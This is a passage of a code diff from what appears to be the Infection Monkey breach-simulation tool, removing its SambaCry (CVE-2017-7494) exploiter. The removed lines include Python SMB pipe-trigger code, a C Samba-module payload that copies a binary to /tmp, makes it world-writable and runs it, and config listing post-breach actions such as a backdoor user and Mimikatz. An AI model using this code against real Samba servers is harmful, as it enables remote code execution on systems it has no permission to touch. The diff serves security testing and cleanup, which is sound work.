smb2Create["ImpersonationLevel"] = impersonationLevel
|
||||
smb2Create["DesiredAccess"] = desiredAccess
|
||||
smb2Create["FileAttributes"] = fileAttributes
|
||||
smb2Create["ShareAccess"] = shareMode
|
||||
smb2Create["CreateDisposition"] = creationDisposition
|
||||
smb2Create["CreateOptions"] = creationOptions
|
||||
|
||||
smb2Create["NameLength"] = len(fileName) * 2
|
||||
if fileName != "":
|
||||
smb2Create["Buffer"] = fileName.encode("utf-16le")
|
||||
else:
|
||||
smb2Create["Buffer"] = b"\x00"
|
||||
|
||||
if createContexts is not None:
|
||||
smb2Create["Buffer"] += createContexts
|
||||
smb2Create["CreateContextsOffset"] = (
|
||||
len(SMB2Packet()) + SMB2Create.SIZE + smb2Create["NameLength"]
|
||||
)
|
||||
smb2Create["CreateContextsLength"] = len(createContexts)
|
||||
else:
|
||||
smb2Create["CreateContextsOffset"] = 0
|
||||
smb2Create["CreateContextsLength"] = 0
|
||||
|
||||
packet["Data"] = smb2Create
|
||||
|
||||
packetID = smb_client.getSMBServer().sendSMB(packet)
|
||||
ans = smb_client.getSMBServer().recvSMB(packetID)
|
||||
if ans.isValidAnswer(STATUS_SUCCESS):
|
||||
createResponse = SMB2Create_Response(ans["Data"])
|
||||
|
||||
# The client MUST generate a handle for the Open, and it MUST
|
||||
# return success and the generated handle to the calling application.
|
||||
# In our case, str(FileID)
|
||||
return str(createResponse["FileID"])
|
||||
|
||||
@staticmethod
|
||||
def open_pipe(smb_client, pathName):
|
||||
# We need to overwrite Impacket's openFile functions since they automatically convert
|
||||
# paths to NT style
|
||||
# to make things easier for the caller. Not this time ;)
|
||||
treeId = smb_client.connectTree("IPC$")
|
||||
logger.debug("Triggering path: %s" % pathName)
|
||||
|
||||
if smb_client.getDialect() == SMB_DIALECT:
|
||||
_, flags2 = smb_client.getSMBServer().get_flags()
|
||||
|
||||
pathName = pathName.encode("utf-16le") if flags2 & SMB.FLAGS2_UNICODE else pathName
|
||||
|
||||
ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
|
||||
ntCreate["Parameters"] = SMBNtCreateAndX_Parameters()
|
||||
ntCreate["Data"] = SMBNtCreateAndX_Data(flags=flags2)
|
||||
ntCreate["Parameters"]["FileNameLength"] = len(pathName)
|
||||
ntCreate["Parameters"]["AccessMask"] = FILE_READ_DATA
|
||||
ntCreate["Parameters"]["FileAttributes"] = 0
|
||||
ntCreate["Parameters"]["ShareAccess"] = FILE_SHARE_READ
|
||||
ntCreate["Parameters"]["Disposition"] = FILE_NON_DIRECTORY_FILE
|
||||
ntCreate["Parameters"]["CreateOptions"] = FILE_OPEN
|
||||
ntCreate["Parameters"]["Impersonation"] = SMB2_IL_IMPERSONATION
|
||||
ntCreate["Parameters"]["SecurityFlags"] = 0
|
||||
ntCreate["Parameters"]["CreateFlags"] = 0x16
|
||||
ntCreate["Data"]["FileName"] = pathName
|
||||
|
||||
if flags2 & SMB.FLAGS2_UNICODE:
|
||||
ntCreate["Data"]["Pad"] = 0x0
|
||||
|
||||
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
||||
else:
|
||||
return SambaCryExploiter.create_smb(
|
||||
smb_client,
|
||||
treeId,
|
||||
pathName,
|
||||
desiredAccess=FILE_READ_DATA,
|
||||
shareMode=FILE_SHARE_READ,
|
||||
creationOptions=FILE_OPEN,
|
||||
creationDisposition=FILE_NON_DIRECTORY_FILE,
|
||||
fileAttributes=0,
|
||||
)
|
|
@ -1,9 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
gcc -c -Wall -Werror -fpic -m64 sc_monkey_runner.c
|
||||
gcc -shared -m64 -o sc_monkey_runner64.so sc_monkey_runner.o
|
||||
rm sc_monkey_runner.o
|
||||
strip sc_monkey_runner64.so
|
||||
gcc -c -Wall -Werror -fpic -m32 sc_monkey_runner.c
|
||||
gcc -shared -m32 -o sc_monkey_runner32.so sc_monkey_runner.o
|
||||
rm sc_monkey_runner.o
|
||||
strip sc_monkey_runner32.so
|
|
@ -1,163 +0,0 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "sc_monkey_runner.h"
|
||||
|
||||
#ifdef __x86_64__
|
||||
#define ARCH_IS_64
|
||||
#endif
|
||||
|
||||
#ifdef _____LP64_____
|
||||
#define ARCH_IS_64
|
||||
#endif
|
||||
|
||||
#define LINE_MAX_LENGTH (2048)
|
||||
#define MAX_PARAMETERS (30)
|
||||
|
||||
int samba_init_module(void)
|
||||
{
|
||||
#ifdef ARCH_IS_64
|
||||
const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
|
||||
const char MONKEY_NAME[] = "monkey64";
|
||||
#else
|
||||
const char RUNNER_FILENAME[] = "sc_monkey_runner32.so";
|
||||
const char MONKEY_NAME[] = "monkey32";
|
||||
#endif
|
||||
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
|
||||
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
|
||||
const int ACCESS_MODE = 0777;
|
||||
const char RUN_MONKEY_CMD[] = "./";
|
||||
const char MONKEY_DEST_FOLDER[] = "/tmp";
|
||||
const char MONKEY_DEST_NAME[] = "monkey";
|
||||
|
||||
int found = 0;
|
||||
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
|
||||
char commandline[LINE_MAX_LENGTH] = {'\0'};
|
||||
char* monkeyDirectory = NULL;
|
||||
char* fileNamePointer = NULL;
|
||||
FILE * pFile = NULL;
|
||||
pid_t pid = 0;
|
||||
int monkeySize = 0;
|
||||
void* monkeyBinary = NULL;
|
||||
struct stat fileStats;
|
||||
|
||||
pid = fork();
|
||||
|
||||
if (0 != pid)
|
||||
{
|
||||
// error or this is parent - nothing to do but return.
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Find fullpath of running module.
|
||||
pFile = fopen("/proc/self/maps", "r");
|
||||
if (NULL == pFile)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) {
|
||||
fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME);
|
||||
if (fileNamePointer != NULL) {
|
||||
found = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(pFile);
|
||||
|
||||
// We can't find ourselves in module list
|
||||
if (0 == found)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
monkeyDirectory = strchr(modulePathLine, '/');
|
||||
*fileNamePointer = '\0';
|
||||
|
||||
if (0 != chdir(monkeyDirectory))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Write file to indicate we're running
|
||||
pFile = fopen(RUNNER_RESULT_FILENAME, "w");
|
||||
if (NULL == pFile)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile);
|
||||
fclose(pFile);
|
||||
|
||||
// Read commandline
|
||||
pFile = fopen(COMMANDLINE_FILENAME, "r");
|
||||
if (NULL == pFile)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Build commandline
|
||||
snprintf(commandline, sizeof(commandline), "%s%s ", RUN_MONKEY_CMD, MONKEY_DEST_NAME);
|
||||
|
||||
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
|
||||
fclose(pFile);
|
||||
|
||||
if (0 != stat(MONKEY_NAME, &fileStats))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
monkeySize = (int)fileStats.st_size;
|
||||
|
||||
// Copy monkey to new file so we'll own it.
|
||||
pFile = fopen(MONKEY_NAME, "rb");
|
||||
|
||||
if (NULL == pFile)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
monkeyBinary = malloc(monkeySize);
|
||||
|
||||
if (NULL == monkeyBinary)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
fread(monkeyBinary, 1, monkeySize, pFile);
|
||||
fclose(pFile);
|
||||
|
||||
if (0 != chdir(MONKEY_DEST_FOLDER))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
pFile = fopen(MONKEY_DEST_NAME, "wb");
|
||||
if (NULL == pFile)
|
||||
{
|
||||
free(monkeyBinary);
|
||||
return 0;
|
||||
}
|
||||
fwrite(monkeyBinary, 1, monkeySize, pFile);
|
||||
fclose(pFile);
|
||||
free(monkeyBinary);
|
||||
|
||||
// Change monkey permissions
|
||||
if (0 != chmod(MONKEY_DEST_NAME, ACCESS_MODE))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
system(commandline);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int init_samba_module(void)
|
||||
{
|
||||
return samba_init_module();
|
||||
}
|
|
@ -1,7 +0,0 @@
|
|||
#ifndef monkey_runner_h__
|
||||
#define monkey_runner_h__
|
||||
|
||||
extern int samba_init_module(void);
|
||||
extern int init_samba_module(void);
|
||||
|
||||
#endif // monkey_runner_h__
|
|
@ -1,23 +0,0 @@
|
|||
import os
|
||||
import sys
|
||||
|
||||
|
||||
def get_binaries_dir_path():
|
||||
"""
|
||||
Gets the path to the binaries dir (files packaged in pyinstaller if it was used,
|
||||
infection_monkey dir otherwise)
|
||||
:return: Binaries dir path
|
||||
"""
|
||||
if getattr(sys, "frozen", False):
|
||||
return sys._MEIPASS
|
||||
else:
|
||||
return os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
|
||||
def get_binary_file_path(filename):
|
||||
"""
|
||||
Gets the path to a binary file
|
||||
:param filename: name of the file
|
||||
:return: Path to file
|
||||
"""
|
||||
return os.path.join(get_binaries_dir_path(), filename)
|
|
@ -3,10 +3,7 @@
|
|||
>To easily setup development environment for Monkey Island and the Monkey look into [deployment scripts](../../deployment_scripts) folder.
|
||||
>If you want to setup dev. env. for the Monkey manually, refer to the instructions below.
|
||||
|
||||
The monkey is composed of three separate parts.
|
||||
|
||||
- The Infection Monkey itself - PyInstaller compressed python archives
|
||||
- Sambacry binaries - Two linux binaries, 32/64 bit.
|
||||
The monkey is a PyInstaller compressed python archives.
|
||||
|
||||
## Windows
|
||||
|
||||
|
@ -18,18 +15,15 @@ The monkey is composed of three separate parts.
|
|||
- Run the following command on a cmd console (Replace C:\Python37 with your python directory if it's different)
|
||||
`setx /M PATH "%PATH%;C:\Python37;C:\Python37\Scripts`
|
||||
- Close the console, make sure you execute all commands in a new cmd console from now on.
|
||||
2. Install further dependencies
|
||||
1. Install further dependencies
|
||||
- if not installed, install Microsoft Visual C++ 2017 SP1 Redistributable Package
|
||||
- 32bit: <https://aka.ms/vs/16/release/vc_redist.x86.exe>
|
||||
- 64bit: <https://go.microsoft.com/fwlink/?LinkId=746572>
|
||||
3. Download the dependent python packages using
|
||||
1. Download the dependent python packages using
|
||||
`pip install -r requirements.txt`
|
||||
4. Download and extract UPX binary to monkey\infection_monkey\bin\upx.exe:
|
||||
1. Download and extract UPX binary to monkey\infection_monkey\bin\upx.exe:
|
||||
<https://github.com/upx/upx/releases/download/v3.94/upx394w.zip>
|
||||
5. Build/Download Sambacry
|
||||
- Build/Download according to sections at the end of this readme.
|
||||
- Place the binaries under monkey\infection_monkey\bin
|
||||
6. To build the final exe:
|
||||
1. To build the final exe:
|
||||
- `cd monkey\infection_monkey`
|
||||
- `build_windows.bat`
|
||||
- output is placed under `dist\monkey32.exe` or `dist\monkey64.exe` depending on your version of Python
|
||||
|
@ -37,7 +31,7 @@ The monkey is composed of three separate parts.
|
|||
## Linux
|
||||
|
||||
Tested on Ubuntu 16.04.
|
||||
0. On older distributions of Ubuntu (16.04) you'll need to download python3.7 via ppa:
|
||||
1. On older distributions of Ubuntu (16.04) you'll need to download python3.7 via ppa:
|
||||
- `sudo add-apt-repository ppa:deadsnakes/ppa`
|
||||
- `sudo apt-get update`
|
||||
- `sudo apt install python3.7`
|
||||
|
@ -47,37 +41,18 @@ Tested on Ubuntu 16.04.
|
|||
- `python3.7 -m pip install pip`
|
||||
- `sudo apt-get install python3.7-dev libffi-dev upx libssl-dev libc++1`
|
||||
|
||||
2. Install the python packages listed in requirements.txt using pip
|
||||
1. Install the python packages listed in requirements.txt using pip
|
||||
- `cd [code location]/infection_monkey`
|
||||
- `python3.7 -m pipenv lock -r --dev > requirements.txt`
|
||||
- `python3.7 -m pip install -r requirements.txt`
|
||||
|
||||
3. Build Sambacry binaries
|
||||
- Build/Download according to sections at the end of this readme.
|
||||
- Place the binaries under [code location]/infection_monkey/bin, under the names 'sc_monkey_runner32.so', 'sc_monkey_runner64.so'
|
||||
|
||||
4. To build, run in terminal:
|
||||
1. To build, run in terminal:
|
||||
- `cd [code location]/infection_monkey`
|
||||
- `chmod +x build_linux.sh`
|
||||
- `pipenv run ./build_linux.sh`
|
||||
|
||||
output is placed under `dist/monkey32` or `dist/monkey64` depending on your version of python
|
||||
|
||||
### Sambacry
|
||||
|
||||
Sambacry requires two standalone binaries to execute remotely.
|
||||
|
||||
1. Build sambacry binaries yourself
|
||||
- Install gcc-multilib if it's not installed `sudo apt-get install gcc-multilib`
|
||||
- Build the binaries
|
||||
1. `cd [code location]/infection_monkey/exploit/sambacry_monkey_runner`
|
||||
2. `./build.sh`
|
||||
|
||||
2. Download our pre-built sambacry binaries
|
||||
- Available here:
|
||||
- 32bit: <https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner32.so>
|
||||
- 64bit: <https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner64.so>
|
||||
|
||||
### Troubleshooting
|
||||
|
||||
Some of the possible errors that may come up while trying to build the infection monkey:
|
||||
|
|
|
@ -18,7 +18,6 @@ BASIC = {
|
|||
"WmiExploiter",
|
||||
"SSHExploiter",
|
||||
"ShellShockExploiter",
|
||||
"SambaCryExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
|
|
|
@ -74,15 +74,6 @@ EXPLOITER_CLASSES = {
|
|||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters"
|
||||
"/shellshock/",
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": ["SambaCryExploiter"],
|
||||
"title": "SambaCry Exploiter",
|
||||
"safe": True,
|
||||
"info": "Bruteforces and searches for anonymous shares. Uses Impacket.",
|
||||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters"
|
||||
"/sambacry/",
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": ["ElasticGroovyExploiter"],
|
||||
|
|
|
@ -373,45 +373,6 @@ INTERNAL = {
|
|||
},
|
||||
},
|
||||
},
|
||||
"sambacry": {
|
||||
"title": "SambaCry",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"sambacry_trigger_timeout": {
|
||||
"title": "SambaCry trigger timeout",
|
||||
"type": "integer",
|
||||
"default": 5,
|
||||
"description": "Timeout (in seconds) of SambaCry trigger",
|
||||
},
|
||||
"sambacry_folder_paths_to_guess": {
|
||||
"title": "SambaCry folder paths to guess",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {"type": "string"},
|
||||
"default": [
|
||||
"/",
|
||||
"/mnt",
|
||||
"/tmp",
|
||||
"/storage",
|
||||
"/export",
|
||||
"/share",
|
||||
"/shares",
|
||||
"/home",
|
||||
],
|
||||
"description": "List of full paths to share folder for SambaCry to "
|
||||
"guess",
|
||||
},
|
||||
"sambacry_shares_not_to_check": {
|
||||
"title": "SambaCry shares not to check",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {"type": "string"},
|
||||
"default": ["IPC$", "print$"],
|
||||
"description": "These shares won't be checked when exploiting with "
|
||||
"SambaCry",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
"smb_service": {
|
||||
"title": "SMB service",
|
||||
|
|
|
@ -75,7 +75,6 @@ class AWSExporter(Exporter):
|
|||
CredentialType.PASSWORD.value: AWSExporter._handle_smb_password_issue,
|
||||
CredentialType.HASH.value: AWSExporter._handle_smb_pth_issue,
|
||||
},
|
||||
ExploiterDescriptorEnum.SAMBACRY.value.class_name: AWSExporter._handle_sambacry_issue,
|
||||
"shared_passwords": AWSExporter._handle_shared_passwords_issue,
|
||||
ExploiterDescriptorEnum.WMI.value.class_name: {
|
||||
CredentialType.PASSWORD.value: AWSExporter._handle_wmi_password_issue,
|
||||
|
@ -192,24 +191,6 @@ class AWSExporter(Exporter):
|
|||
instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_sambacry_issue(issue, instance_arn):
|
||||
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=10,
|
||||
title="Samba servers are vulnerable to 'SambaCry'",
|
||||
description="Change {0} password to a complex one-use password that is not shared "
|
||||
"with other computers on the "
|
||||
"network. Update your Samba server to 4.4.14 and up, "
|
||||
"4.5.10 and up, or 4.6.4 and up.".format(issue["username"]),
|
||||
recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The "
|
||||
"Monkey authenticated over the SMB "
|
||||
"protocol with user {2} and its password, and used the SambaCry "
|
||||
"vulnerability.".format(issue["machine"], issue["ip_address"], issue["username"]),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_smb_pth_issue(issue, instance_arn):
|
||||
|
||||
|
|
|
@ -28,7 +28,6 @@ class ExploiterDescriptorEnum(Enum):
|
|||
SMB = ExploiterDescriptor("SmbExploiter", "SMB Exploiter", CredExploitProcessor)
|
||||
WMI = ExploiterDescriptor("WmiExploiter", "WMI Exploiter", CredExploitProcessor)
|
||||
SSH = ExploiterDescriptor("SSHExploiter", "SSH Exploiter", CredExploitProcessor)
|
||||
SAMBACRY = ExploiterDescriptor("SambaCryExploiter", "SambaCry Exploiter", CredExploitProcessor)
|
||||
ELASTIC = ExploiterDescriptor(
|
||||
"ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor
|
||||
)
|
||||
|
|
|
@ -27,7 +27,6 @@ import {mssqlIssueOverview, mssqlIssueReport} from './security/issues/MssqlIssue
|
|||
import {drupalIssueOverview, drupalIssueReport} from './security/issues/DrupalIssue';
|
||||
import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIssue';
|
||||
import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue';
|
||||
import {sambacryIssueOverview, sambacryIssueReport} from './security/issues/SambacryIssue';
|
||||
import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue';
|
||||
import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue';
|
||||
import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue';
|
||||
|
@ -122,11 +121,6 @@ class ReportPageComponent extends AuthComponent {
|
|||
},
|
||||
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
||||
},
|
||||
'SambaCryExploiter': {
|
||||
[this.issueContentTypes.OVERVIEW]: sambacryIssueOverview,
|
||||
[this.issueContentTypes.REPORT]: sambacryIssueReport,
|
||||
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
||||
},
|
||||
'ElasticGroovyExploiter': {
|
||||
[this.issueContentTypes.OVERVIEW]: elasticIssueOverview,
|
||||
[this.issueContentTypes.REPORT]: elasticIssueReport,
|
||||
|
|
|
@ -1,28 +0,0 @@
|
|||
import React from 'react';
|
||||
import CollapsibleWellComponent from '../CollapsibleWell';
|
||||
|
||||
export function sambacryIssueOverview() {
|
||||
return (<li>Samba servers are vulnerable to ‘SambaCry’ (<a
|
||||
href="https://www.samba.org/samba/security/CVE-2017-7494.html"
|
||||
>CVE-2017-7494</a>).</li>)
|
||||
}
|
||||
|
||||
export function sambacryIssueReport(issue) {
|
||||
return (
|
||||
<>
|
||||
Change <span className="badge badge-success">{issue.username}</span>'s password to a complex one-use password
|
||||
that is not shared with other computers on the network.
|
||||
<br/>
|
||||
Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up.
|
||||
<CollapsibleWellComponent>
|
||||
The machine <span className="badge badge-primary">{issue.machine}</span> (<span
|
||||
className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
|
||||
className="badge badge-danger">SambaCry</span> attack.
|
||||
<br/>
|
||||
The Monkey authenticated over the SMB protocol with user <span
|
||||
className="badge badge-success">{issue.username}</span> and its password, and used the SambaCry
|
||||
vulnerability.
|
||||
</CollapsibleWellComponent>
|
||||
</>
|
||||
);
|
||||
}
|
|
@ -6,7 +6,6 @@
|
|||
"WmiExploiter",
|
||||
"SSHExploiter",
|
||||
"ShellShockExploiter",
|
||||
"SambaCryExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
|
@ -140,23 +139,6 @@
|
|||
"ms08_067": {
|
||||
"ms08_067_exploit_attempts": 5,
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_trigger_timeout": 5,
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
"/mnt",
|
||||
"/tmp",
|
||||
"/storage",
|
||||
"/export",
|
||||
"/share",
|
||||
"/shares",
|
||||
"/home"
|
||||
],
|
||||
"sambacry_shares_not_to_check": [
|
||||
"IPC$",
|
||||
"print$"
|
||||
]
|
||||
}
|
||||
},
|
||||
"testing": {
|
||||
|
@ -165,29 +147,29 @@
|
|||
},
|
||||
"monkey": {
|
||||
"post_breach": {
|
||||
"custom_PBA_linux_cmd": "",
|
||||
"custom_PBA_windows_cmd": "",
|
||||
"PBA_windows_filename": "",
|
||||
"PBA_linux_filename": "",
|
||||
"custom_pba_linux_cmd": "",
|
||||
"custom_pba_windows_cmd": "",
|
||||
"pba_windows_filename": "",
|
||||
"pba_linux_filename": "",
|
||||
"post_breach_actions": [
|
||||
"CommunicateAsBackdoorUser",
|
||||
"ModifyShellStartupFiles",
|
||||
"HiddenFiles",
|
||||
"TrapCommand",
|
||||
"ChangeSetuidSetgid",
|
||||
"ScheduleJobs",
|
||||
"Timestomping",
|
||||
"AccountDiscovery"
|
||||
"communicateasbackdooruser",
|
||||
"modifyshellstartupfiles",
|
||||
"hiddenfiles",
|
||||
"trapcommand",
|
||||
"changesetuidsetgid",
|
||||
"schedulejobs",
|
||||
"timestomping",
|
||||
"accountdiscovery"
|
||||
]
|
||||
},
|
||||
"system_info": {
|
||||
"system_info_collector_classes": [
|
||||
"EnvironmentCollector",
|
||||
"AwsCollector",
|
||||
"HostnameCollector",
|
||||
"ProcessListCollector",
|
||||
"MimikatzCollector",
|
||||
"AzureCollector"
|
||||
"environmentcollector",
|
||||
"awscollector",
|
||||
"hostnamecollector",
|
||||
"processlistcollector",
|
||||
"mimikatzcollector",
|
||||
"azurecollector"
|
||||
]
|
||||
},
|
||||
"persistent_scanning": {
|
||||
|
|
|
@ -55,7 +55,6 @@ _.password_restored # unused attribute (monkey/monkey_island/cc/services/report
|
|||
credential_type # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py:18)
|
||||
password_restored # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py:23)
|
||||
SSH # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:30)
|
||||
SAMBACRY # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:31)
|
||||
ELASTIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:32)
|
||||
MS08_067 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:35)
|
||||
SHELLSHOCK # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:36)
|
||||
|
|
Loading…
Reference in New Issue